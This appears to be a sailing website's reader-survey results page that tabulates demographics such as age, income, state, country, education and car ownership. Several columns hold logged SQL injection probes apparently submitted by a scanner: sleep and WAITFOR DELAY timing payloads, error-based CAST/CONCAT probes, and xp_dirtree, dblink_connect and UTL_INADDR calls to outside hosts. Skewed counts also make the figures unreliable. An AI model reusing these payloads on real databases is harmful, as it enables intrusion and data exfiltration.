| Sailing Status | Replies | |
| No Reponse | 96 | 3.42% |
| Amateur Crew | 426 | 15.20% |
| Boat Owner | 2147 | 76.60% |
| N3tsp4rk3rRef | 7 | 0.25% |
| New to Sailing | 45 | 1.61% |
| Professional Crew | 82 | 2.93% |
|
| Age |
| No Reponse | 92 | 3.28% |
| 20 - 30 | 144 | 5.14% |
| 30 - 40 | 226 | 8.06% |
| 40 - 50 | 297 | 10.60% |
| 50 - 60 | 244 | 8.70% |
| 60 - 70 | 88 | 3.14% |
| N3tsp4rk3rRef | 7 | 0.25% |
| Over 70 | 18 | 0.64% |
| Under 20 | 1687 | 60.19% |
|
| Sex |
| No Reponse | 103 | 3.67% |
| ' WAITFOR | 2 | 0.07% |
| %27 | 2 | 0.07% |
| ((select s | 2 | 0.07% |
| ((SELECT(1 | 2 | 0.07% |
| (length(CT | 6 | 0.21% |
| (SELECT 1 | 2 | 0.07% |
| (select ch | 2 | 0.07% |
| (SELECT CO | 4 | 0.14% |
| (select db | 2 | 0.07% |
| (select UT | 4 | 0.14% |
| ') AND (SE | 2 | 0.07% |
| ') WAITFOR | 2 | 0.07% |
| ')) WAITFO | 2 | 0.07% |
| '||(SELECT | 2 | 0.07% |
| '||cast((s | 2 | 0.07% |
| '||CTXSYS. | 6 | 0.21% |
| '+ (select | 2 | 0.07% |
| '+((SELECT | 2 | 0.07% |
| '+convert( | 2 | 0.07% |
| '+NSFTW+' | 2 | 0.07% |
| 1' || (sel | 2 | 0.07% |
| 1 + (selec | 2 | 0.07% |
| -1 AND ((S | 2 | 0.07% |
| -1' and 6= | 2 | 0.07% |
| -1' or 1=( | 2 | 0.07% |
| -1 or 1=(( | 1 | 0.04% |
| -1 or 1=1 | 2 | 0.07% |
| 1 procedur | 2 | 0.07% |
| 1 WAITFOR | 2 | 0.07% |
| -1" and 6= | 2 | 0.07% |
| -1" or 1=( | 2 | 0.07% |
| -1%27+and+ | 2 | 0.07% |
| 1) exec('x | 2 | 0.07% |
| 1) WAITFOR | 2 | 0.07% |
| 1)) WAITFO | 2 | 0.07% |
| 1));DECLAR | 2 | 0.07% |
| 1'))exec(' | 2 | 0.07% |
| 1))exec('x | 2 | 0.07% |
| 1);DECLARE | 2 | 0.07% |
| 1')exec('x | 2 | 0.07% |
| -1';DECLAR | 2 | 0.07% |
| 1;DECLARE | 2 | 0.07% |
| 1;DECLARE/ | 2 | 0.07% |
| -1';exec(' | 2 | 0.07% |
| 1;exec('xp | 2 | 0.07% |
| -1\'+(sele | 4 | 0.14% |
| -1'+(SELEC | 2 | 0.07% |
| 'AND 1=cas | 2 | 0.07% |
| cast((SELE | 6 | 0.21% |
| convert(in | 2 | 0.07% |
| dblink_con | 2 | 0.07% |
| declare @h | 2 | 0.07% |
| DECLARE @q | 2 | 0.07% |
| exec('xp_d | 2 | 0.07% |
| Female | 135 | 4.82% |
| Male | 2406 | 85.84% |
| Male + ((S | 2 | 0.07% |
| Male'));SE | 2 | 0.07% |
| Male));SEL | 2 | 0.07% |
| Male');SEL | 2 | 0.07% |
| Male);SELE | 2 | 0.07% |
| Male';SELE | 2 | 0.07% |
| Male;SELEC | 2 | 0.07% |
| N3tsp4rk3r | 8 | 0.29% |
| NSFTW | 2 | 0.07% |
| SELECT dbl | 2 | 0.07% |
| SELECT pg_ | 2 | 0.07% |
| syscolumns | 4 | 0.14% |
| WAITFOR DE | 2 | 0.07% |
|
| Income |
| No Reponse | 121 | 4.32% |
| ' WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| %27 | 2 | 0.07% |
| ((select sleep(25)))a-- 1 | 2 | 0.07% |
| ((SELECT(1)FROM(SELECT(SLEEP(25)))A)) | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||ch | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR. | 4 | 0.14% |
| (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHA | 2 | 0.07% |
| (select chr(95)||chr(33)||chr(64)||chr(51)||chr(10 | 2 | 0.07% |
| (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52) | 2 | 0.07% |
| (select convert(int,cast(0x5f21403264696c656d6d61 | 2 | 0.07% |
| (select dbms_pipe.receive_message((chr(95)||chr(33 | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr( | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS('taw8km8nupm4p | 1 | 0.04% |
| (select UTL_INADDR.GET_HOST_ADDRESS('taw8km8nupwyn | 1 | 0.04% |
| ') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 | 2 | 0.07% |
| ') WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| ')) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| '||(SELECT dblink_connect('host=taw8km8nupfb4pgos3 | 1 | 0.04% |
| '||(SELECT dblink_connect('host=taw8km8nuptg1qet3b | 1 | 0.04% |
| '||cast((select chr(95)||chr(33)||chr(64)||chr(53) | 2 | 0.07% |
| '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33) | 2 | 0.07% |
| '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_H | 4 | 0.14% |
| '+ (select convert(int, cast(0x5f21403264696c656d6 | 2 | 0.07% |
| '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' | 2 | 0.07% |
| '+convert(int, cast(0x5f21403264696c656d6d61 as va | 2 | 0.07% |
| '+NSFTW+' | 1 | 0.04% |
| 1' || (select dbms_pipe.receive_message((chr(95)|| | 2 | 0.07% |
| 1 + (select dbms_pipe.receive_message((chr(95)||ch | 2 | 0.07% |
| -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(2 | 2 | 0.07% |
| -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT | 2 | 0.07% |
| -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) | 2 | 0.07% |
| -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' | 2 | 0.07% |
| -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT | 1 | 0.04% |
| 1 procedure analyse(extractvalue(rand(),concat(0x3 | 2 | 0.07% |
| 1 WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT | 2 | 0.07% |
| -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" | 2 | 0.07% |
| -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1 | 2 | 0.07% |
| 1) exec('xp_dirtree '\\taw8km8nupamgp8iq_c-c1lllft | 1 | 0.04% |
| 1) exec('xp_dirtree '\\taw8km8nups5unenhusasf7xfdm | 1 | 0.04% |
| 1) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| 1)) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+ch | 2 | 0.07% |
| 1))exec('xp_dirtree '\\taw8km8nupj4scrbetqqcpqurd- | 1 | 0.04% |
| 1))exec('xp_dirtree '\\taw8km8nuppcxof_yta8r2xtgdg | 1 | 0.04% |
| 1'))exec('xp_dirtree '\\taw8km8nuppdgtmhreflaerng8 | 1 | 0.04% |
| 1'))exec('xp_dirtree '\\taw8km8nuprxdalaofuq2fqe64 | 1 | 0.04% |
| 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+cha | 2 | 0.07% |
| 1')exec('xp_dirtree '\\taw8km8nupcaabx2ighy1pzzfa8 | 1 | 0.04% |
| 1')exec('xp_dirtree '\\taw8km8nupvvnfdgptodva29w3t | 1 | 0.04% |
| -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q | 2 | 0.07% |
| 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = | 2 | 0.07% |
| 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char | 2 | 0.07% |
| 1;exec('xp_dirtree '\\taw8km8nup3horz25g4xd3ln4f5p | 1 | 0.04% |
| -1';exec('xp_dirtree '\\taw8km8nupbbngcd1b2c3xaoyq | 1 | 0.04% |
| -1';exec('xp_dirtree '\\taw8km8nups53cl2kk-j2bv4_x | 1 | 0.04% |
| 1;exec('xp_dirtree '\\taw8km8nupvu8jsqtwcx_ukqktpm | 1 | 0.04% |
| -1\'+(select 1 and row(1,1)>(select count(*),conca | 3 | 0.11% |
| -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT | 2 | 0.07% |
| 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(80 | 2 | 0.07% |
| cast((select chr(95)||chr(33)||chr(64)||chr(53)||c | 2 | 0.07% |
| cast((SELECT dblink_connect(chr(104)||chr(111)||ch | 1 | 0.04% |
| cast((SELECT dblink_connect('host=taw8km8nupdsnivm | 1 | 0.04% |
| cast((SELECT dblink_connect('host=taw8km8nupgcpp6n | 1 | 0.04% |
| convert(int, cast(0x5f21403264696c656d6d61 as varc | 2 | 0.07% |
| dblink_connect('host=taw8km8nup6wdlhpm7vhtxjyibmgi | 1 | 0.04% |
| declare @h varchar(999)select @h='1'+substring(nam | 2 | 0.07% |
| DECLARE @q varchar(999),@r nvarchar(999)SET @q = ' | 2 | 0.07% |
| exec('xp_dirtree '\\taw8km8nupc47-ywtkrhe9ljhtmdb2 | 1 | 0.04% |
| exec('xp_dirtree '\\taw8km8nupjgczqchzr8xysiaqkka2 | 1 | 0.04% |
| N3tsp4rk3rRef | 7 | 0.25% |
| NSFTW | 2 | 0.07% |
| Over U$150,000 | 191 | 6.81% |
| SELECT dblink_connect('host=taw8km8nupgyijnxoq1zv0 | 1 | 0.04% |
| SELECT dblink_connect('host=taw8km8nupq6scyc2hzawm | 1 | 0.04% |
| SELECT pg_sleep(25)-- | 2 | 0.07% |
| syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/ | 2 | 0.07% |
| syscolumns WHERE 2>3;exec('xp_dirtree '\\taw8km8nu | 1 | 0.04% |
| U$ 20,000 - U$ 30,000 | 47 | 1.68% |
| U$ 30,000 - U$ 40,000 | 61 | 2.18% |
| U$ 40,000 - U$ 50,000 | 68 | 2.43% |
| U$ 50,000 - U$ 60,000 | 81 | 2.89% |
| U$ 60,000 - U$ 70,000 | 87 | 3.10% |
| U$ 70,000 - U$ 80,000 | 73 | 2.60% |
| U$ 80,000 - U$ 90,000 | 57 | 2.03% |
| U$ 90,000 - U$100,000 | 77 | 2.75% |
| U$100,000 - U$125,000 | 119 | 4.25% |
| U$125,000 - U$150,000 | 73 | 2.60% |
| Under U$ 20,000 | 1595 | 56.90% |
| Under U$ 20,000 + ((SELECT 1 FROM (SELECT SLEEP(25 | 2 | 0.07% |
| Under U$ 20,000'));SELECT pg_sleep(25)-- | 2 | 0.07% |
| Under U$ 20,000));SELECT pg_sleep(25)-- | 2 | 0.07% |
| Under U$ 20,000');SELECT pg_sleep(25)-- | 2 | 0.07% |
| Under U$ 20,000);SELECT pg_sleep(25)-- | 2 | 0.07% |
| Under U$ 20,000';SELECT pg_sleep(25)-- | 2 | 0.07% |
| Under U$ 20,000;SELECT pg_sleep(25)-- | 2 | 0.07% |
| WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
|
| State |
| No Reponse | 192 | 6.85% |
| AK | 1680 | 59.94% |
| AL | 3 | 0.11% |
| Alberta | 1 | 0.04% |
| AZ | 4 | 0.14% |
| British Columbia | 10 | 0.36% |
| CA | 89 | 3.18% |
| CO | 5 | 0.18% |
| CT | 21 | 0.75% |
| DC | 1 | 0.04% |
| FL | 27 | 0.96% |
| GA | 24 | 0.86% |
| HI | 5 | 0.18% |
| IL | 37 | 1.32% |
| IN | 8 | 0.29% |
| KS | 2 | 0.07% |
| KY | 2 | 0.07% |
| LA | 6 | 0.21% |
| MA | 30 | 1.07% |
| MD | 28 | 1.00% |
| ME | 6 | 0.21% |
| MI | 318 | 11.34% |
| MN | 5 | 0.18% |
| MO | 2 | 0.07% |
| MT | 2 | 0.07% |
| N3tsp4rk3rRef | 8 | 0.29% |
| NC | 6 | 0.21% |
| New Brunswick | 1 | 0.04% |
| NH | 7 | 0.25% |
| NJ | 10 | 0.36% |
| NM | 1 | 0.04% |
| Nova Scotia | 2 | 0.07% |
| NV | 7 | 0.25% |
| NY | 41 | 1.46% |
| OH | 36 | 1.28% |
| OK | 4 | 0.14% |
| Ontario | 47 | 1.68% |
| OR | 9 | 0.32% |
| PA | 5 | 0.18% |
| RI | 25 | 0.89% |
| SC | 2 | 0.07% |
| TN | 2 | 0.07% |
| TX | 27 | 0.96% |
| VA | 12 | 0.43% |
| VT | 3 | 0.11% |
| WA | 19 | 0.68% |
| WI | 19 | 0.68% |
| WV | 1 | 0.04% |
| WY | 1 | 0.04% |
|
| Country |
| No Reponse | 108 | 3.85% |
| ' WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| %27 | 2 | 0.07% |
| ((select sleep(25)))a-- 1 | 2 | 0.07% |
| ((SELECT(1)FROM(SELECT(SLEEP(25)))A)) | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||ch | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR. | 4 | 0.14% |
| (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHA | 2 | 0.07% |
| (select chr(95)||chr(33)||chr(64)||chr(51)||chr(10 | 2 | 0.07% |
| (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52) | 2 | 0.07% |
| (select convert(int,cast(0x5f21403264696c656d6d61 | 2 | 0.07% |
| (select dbms_pipe.receive_message((chr(95)||chr(33 | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr( | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS('taw8km8nuprhx | 1 | 0.04% |
| ') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 | 2 | 0.07% |
| ') WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| ')) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| '||(SELECT dblink_connect('host=taw8km8nup75hrkbgd | 1 | 0.04% |
| '||(SELECT dblink_connect('host=taw8km8nupbr-hqm7b | 1 | 0.04% |
| '||cast((select chr(95)||chr(33)||chr(64)||chr(53) | 2 | 0.07% |
| '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33) | 2 | 0.07% |
| '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_H | 3 | 0.11% |
| '+ (select convert(int, cast(0x5f21403264696c656d6 | 2 | 0.07% |
| '+((SELECT 1 FROM (SELECT SLEEP(25))A))+' | 2 | 0.07% |
| '+convert(int, cast(0x5f21403264696c656d6d61 as va | 2 | 0.07% |
| '+NSFTW+' | 2 | 0.07% |
| 1' || (select dbms_pipe.receive_message((chr(95)|| | 2 | 0.07% |
| 1 + (select dbms_pipe.receive_message((chr(95)||ch | 2 | 0.07% |
| -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(2 | 2 | 0.07% |
| -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT | 2 | 0.07% |
| -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) | 2 | 0.07% |
| -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' | 2 | 0.07% |
| -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT | 2 | 0.07% |
| 1 procedure analyse(extractvalue(rand(),concat(0x3 | 1 | 0.04% |
| 1 WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| -1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT | 2 | 0.07% |
| -1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+" | 1 | 0.04% |
| -1%27+and+6%3d3+or+1%3d1%2b(SELECT+1+and+ROW(1%2c1 | 2 | 0.07% |
| 1) exec('xp_dirtree '\\taw8km8nup1uyzkarzcztxvsnki | 1 | 0.04% |
| 1) exec('xp_dirtree '\\taw8km8nuprkbq2tj3db4hvayps | 1 | 0.04% |
| 1) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| 1)) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+ch | 2 | 0.07% |
| 1'))exec('xp_dirtree '\\taw8km8nup80g2rqc58hzlin1b | 1 | 0.04% |
| 1))exec('xp_dirtree '\\taw8km8nupa61foejgdgpgqr6kw | 1 | 0.04% |
| 1))exec('xp_dirtree '\\taw8km8nupb9rcp2hmdxnpevfuf | 1 | 0.04% |
| 1'))exec('xp_dirtree '\\taw8km8nupdeqhxhw8dyxesgro | 1 | 0.04% |
| 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+cha | 2 | 0.07% |
| 1')exec('xp_dirtree '\\taw8km8nupmnrkylq-iais4hf86 | 1 | 0.04% |
| -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q | 2 | 0.07% |
| 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = | 2 | 0.07% |
| 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char | 1 | 0.04% |
| 1;exec('xp_dirtree '\\taw8km8nup_w_tubwzb3xtgdstaq | 1 | 0.04% |
| -1';exec('xp_dirtree '\\taw8km8nupdqzocnbb-br5vp58 | 1 | 0.04% |
| -1';exec('xp_dirtree '\\taw8km8nupmcuxf7ral4r52s7k | 1 | 0.04% |
| 1;exec('xp_dirtree '\\taw8km8nuprxdokjtnqu9vkwnf5u | 1 | 0.04% |
| -1\'+(select 1 and row(1,1)>(select count(*),conca | 4 | 0.14% |
| -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT | 1 | 0.04% |
| Albania | 1 | 0.04% |
| 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(80 | 2 | 0.07% |
| Antigua and Barbuda | 1 | 0.04% |
| Australia | 23 | 0.82% |
| Barbados | 1 | 0.04% |
| Bermuda | 1 | 0.04% |
| Brazil | 3 | 0.11% |
| Bulgaria | 1 | 0.04% |
| Camaroon | 1 | 0.04% |
| Canada | 62 | 2.21% |
| cast((select chr(95)||chr(33)||chr(64)||chr(53)||c | 2 | 0.07% |
| cast((SELECT dblink_connect(chr(104)||chr(111)||ch | 2 | 0.07% |
| cast((SELECT dblink_connect('host=taw8km8nupcldpr2 | 1 | 0.04% |
| cast((SELECT dblink_connect('host=taw8km8nupmth08r | 1 | 0.04% |
| Chile | 1 | 0.04% |
| convert(int, cast(0x5f21403264696c656d6d61 as varc | 2 | 0.07% |
| Croatia | 2 | 0.07% |
| dblink_connect('host=taw8km8nup_3z-hvcyoanefo8r-q2 | 1 | 0.04% |
| dblink_connect('host=taw8km8nupvuotrk-eymwytv8vn9p | 1 | 0.04% |
| declare @h varchar(999)select @h='1'+substring(nam | 2 | 0.07% |
| DECLARE @q varchar(999),@r nvarchar(999)SET @q = ' | 2 | 0.07% |
| Denmark | 1 | 0.04% |
| Estonia | 1 | 0.04% |
| exec('xp_dirtree '\\taw8km8nup_zxagm3ihngflz6r8zv7 | 1 | 0.04% |
| France | 2 | 0.07% |
| Germany | 5 | 0.18% |
| Guadeloupe | 1 | 0.04% |
| Hong Kong | 1 | 0.04% |
| Ireland | 3 | 0.11% |
| Israel | 1 | 0.04% |
| Italy | 3 | 0.11% |
| Japan | 1 | 0.04% |
| Mexico | 1 | 0.04% |
| N3tsp4rk3rRef | 4 | 0.14% |
| Netherlands | 4 | 0.14% |
| New Zealand | 4 | 0.14% |
| Norway | 1 | 0.04% |
| NSFTW | 2 | 0.07% |
| Poland | 1 | 0.04% |
| Romania | 1 | 0.04% |
| Russia | 1 | 0.04% |
| SELECT dblink_connect('host=taw8km8nupkav_r9jqhy1b | 1 | 0.04% |
| SELECT dblink_connect('host=taw8km8nupxxq2musomyou | 1 | 0.04% |
| SELECT pg_sleep(25)-- | 2 | 0.07% |
| Singapore | 1 | 0.04% |
| South Africa | 1 | 0.04% |
| Spain | 1 | 0.04% |
| Sweden | 1 | 0.04% |
| Switzerland | 2 | 0.07% |
| syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/ | 1 | 0.04% |
| syscolumns WHERE 2>3;exec('xp_dirtree '\\taw8km8nu | 2 | 0.07% |
| Thailand | 1 | 0.04% |
| Turkey | 1 | 0.04% |
| United Arab Emirates | 1 | 0.04% |
| United Kingdom | 13 | 0.46% |
| USA | 2395 | 85.44% |
| USA + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR( | 2 | 0.07% |
| USA'));SELECT pg_sleep(25)-- | 2 | 0.07% |
| USA));SELECT pg_sleep(25)-- | 2 | 0.07% |
| USA');SELECT pg_sleep(25)-- | 2 | 0.07% |
| USA);SELECT pg_sleep(25)-- | 2 | 0.07% |
| USA';SELECT pg_sleep(25)-- | 2 | 0.07% |
| USA;SELECT pg_sleep(25)-- | 2 | 0.07% |
| Vietnam | 1 | 0.04% |
| Virgin Islands (United Kingdom) | 1 | 0.04% |
| WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
|
| Education |
| No Reponse | 97 | 3.46% |
| Associate Degree | 113 | 4.03% |
| Bachelor Degree | 494 | 17.62% |
| High School | 116 | 4.14% |
| Masters Degree | 231 | 8.24% |
| N3tsp4rk3rRef | 7 | 0.25% |
| No School | 3 | 0.11% |
| Ph.D. | 1742 | 62.15% |
|
| Work Industry |
| No Reponse | 108 | 3.85% |
| Agricultural, Forestry & Fishing | 1687 | 60.19% |
| Business Services | 78 | 2.78% |
| Construction | 63 | 2.25% |
| Education, Teaching, Research | 59 | 2.10% |
| Finance, Insurance and Real State | 111 | 3.96% |
| High Tech, Telecom, Computers | 134 | 4.78% |
| Manufacturing | 136 | 4.85% |
| Medical, Biomedical | 38 | 1.36% |
| Mining | 1 | 0.04% |
| N3tsp4rk3rRef | 6 | 0.21% |
| Not Listed | 299 | 10.67% |
| Retail Trade | 22 | 0.78% |
| Transportation and Public Utilities | 38 | 1.36% |
| Wholesale Trade | 23 | 0.82% |
|
| Work Title |
| No Reponse | 120 | 4.28% |
| CEO/CFO/COO/CIO/COB | 1743 | 62.18% |
| Clerical | 2 | 0.07% |
| Laborer | 8 | 0.29% |
| Lower Management | 80 | 2.85% |
| Middle Management | 174 | 6.21% |
| N3tsp4rk3rRef | 7 | 0.25% |
| No Management | 108 | 3.85% |
| President, VP | 114 | 4.07% |
| Sales | 59 | 2.10% |
| Secretatarial | 4 | 0.14% |
| Self-Employed | 183 | 6.53% |
| Student | 60 | 2.14% |
| Unemployed | 34 | 1.21% |
| Upper Management | 107 | 3.82% |
|
| Marital Status |
| No Reponse | 95 | 3.39% |
| Divorced | 100 | 3.57% |
| Married | 648 | 23.12% |
| N3tsp4rk3rRef | 7 | 0.25% |
| Player | 16 | 0.57% |
| Single | 1933 | 68.96% |
| Widowed | 4 | 0.14% |
|
| Family Size |
| No Reponse | 137 | 4.89% |
| 1 | 1887 | 67.32% |
| 2 | 285 | 10.17% |
| 3 | 153 | 5.46% |
| 4 | 215 | 7.67% |
| 5 | 89 | 3.18% |
| 6 | 26 | 0.93% |
| 7 | 5 | 0.18% |
| 8 | 4 | 0.14% |
| 9 | 1 | 0.04% |
| 10 | 1 | 0.04% |
|
| Home Status |
| No Reponse | 111 | 3.96% |
| N3tsp4rk3rRef | 8 | 0.29% |
| Owned | 2501 | 89.23% |
| Rented | 183 | 6.53% |
|
| Car Ownership |
| No Reponse | 108 | 3.85% |
| Borrowed | 22 | 0.78% |
| Leased | 135 | 4.82% |
| N3tsp4rk3rRef | 6 | 0.21% |
| Owned | 2532 | 90.33% |
|
| Number of cars owned |
| No Reponse | 699 | 24.94% |
| 0 | 8 | 0.29% |
| 1 | 217 | 7.74% |
| 2 | 451 | 16.09% |
| 3 | 1313 | 46.84% |
| 4 | 87 | 3.10% |
| 5 | 21 | 0.75% |
| 6 | 3 | 0.11% |
| 7 | 1 | 0.04% |
| 8 | 1 | 0.04% |
| 12 | 1 | 0.04% |
| 18 | 1 | 0.04% |
|
| Car #1 |
| No Reponse | 147 | 5.24% |
| Acura | 1697 | 60.54% |
| Audi | 37 | 1.32% |
| BMW | 62 | 2.21% |
| Buick | 19 | 0.68% |
| Cadillac | 19 | 0.68% |
| Chevrolet | 82 | 2.93% |
| Chrysler | 35 | 1.25% |
| DaimlerChrysler | 1 | 0.04% |
| Dodge | 40 | 1.43% |
| Eagle | 2 | 0.07% |
| Ford | 136 | 4.85% |
| Geo | 1 | 0.04% |
| GMC | 29 | 1.03% |
| Honda | 64 | 2.28% |
| Hyundai | 5 | 0.18% |
| Infiniti | 6 | 0.21% |
| Isuzu | 4 | 0.14% |
| Jaguar | 8 | 0.29% |
| Jeep | 60 | 2.14% |
| Kia | 4 | 0.14% |
| Land Rover | 9 | 0.32% |
| Lexus | 5 | 0.18% |
| Lincoln | 11 | 0.39% |
| lotus | 1 | 0.04% |
| Mazda | 18 | 0.64% |
| Mercedes-Benz | 30 | 1.07% |
| Mercury | 4 | 0.14% |
| Mini | 1 | 0.04% |
| Mitsubishi | 9 | 0.32% |
| N3tsp4rk3rRef | 7 | 0.25% |
| Nissan | 22 | 0.78% |
| Oldsmobile | 9 | 0.32% |
| opel | 1 | 0.04% |
| Other | 11 | 0.39% |
| Plymouth | 5 | 0.18% |
| Pontiac | 12 | 0.43% |
| Porsche | 8 | 0.29% |
| Renault | 1 | 0.04% |
| Saab | 16 | 0.57% |
| Saturn | 8 | 0.29% |
| Subaru | 16 | 0.57% |
| Suzuki | 2 | 0.07% |
| Toyota | 50 | 1.78% |
| Volkswagen | 44 | 1.57% |
| Volvo | 42 | 1.50% |
| Yukon XL | 3 | 0.11% |
|
| Car Type #1 |
| No Reponse | 237 | 8.46% |
| ' WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| %27 | 2 | 0.07% |
| ((select sleep(25)))a-- 1 | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||ch | 2 | 0.07% |
| (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR. | 4 | 0.14% |
| (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHA | 2 | 0.07% |
| (select chr(95)||chr(33)||chr(64)||chr(51)||chr(10 | 2 | 0.07% |
| (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52) | 2 | 0.07% |
| (select convert(int,cast(0x5f21403264696c656d6d61 | 2 | 0.07% |
| (select dbms_pipe.receive_message((chr(95)||chr(33 | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS(chr(116)||chr( | 2 | 0.07% |
| (select UTL_INADDR.GET_HOST_ADDRESS('taw8km8nupkxn | 1 | 0.04% |
| (select UTL_INADDR.GET_HOST_ADDRESS('taw8km8nupple | 1 | 0.04% |
| ') WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| ')) WAITFOR DELAY '0:0:25'-- | 2 | 0.07% |
| '||(SELECT dblink_connect('host=taw8km8nupj6ywq9bo | 1 | 0.04% |
| '||(SELECT dblink_connect('host=taw8km8nupwnvuwhgz | 1 | 0.04% |
| '||cast((select chr(95)||chr(33)||chr(64)||chr(53) | 2 | 0.07% |
| '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33) | 2 | 0.07% |
